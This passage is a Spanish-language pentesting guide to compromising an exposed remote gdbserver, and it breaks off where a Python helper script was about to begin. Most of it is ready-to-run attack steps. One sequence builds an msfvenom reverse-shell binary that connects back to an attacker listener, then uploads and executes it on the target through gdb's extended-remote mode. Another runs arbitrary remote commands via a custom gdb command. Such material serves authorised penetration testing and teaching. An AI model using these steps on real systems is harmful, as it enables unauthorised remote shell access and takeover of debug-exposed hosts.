Pentesting Remote GdbServer

Información Básica

gdbserver es una herramienta que permite la depuración de programas de forma remota. Se ejecuta junto al programa que necesita depuración en el mismo sistema, conocido como el "objetivo". Esta configuración permite que el GNU Debugger se conecte desde una máquina diferente, el "host", donde se almacenan el código fuente y una copia binaria del programa depurado. La conexión entre gdbserver y el depurador se puede realizar a través de TCP o una línea serial, lo que permite configuraciones de depuración versátiles.

Puedes hacer que gdbserver escuche en cualquier puerto y en este momento nmap no es capaz de reconocer el servicio.

Explotación

Subir y Ejecutar

Puedes crear fácilmente un elf backdoor con msfvenom, subirlo y ejecutarlo:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Ejecutar comandos arbitrarios

Hay otra manera de hacer que el depurador ejecute comandos arbitrarios a través de un script personalizado de python tomado de aquí.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Primero que nada, crea localmente este script:

#!/usr/bin/env python3
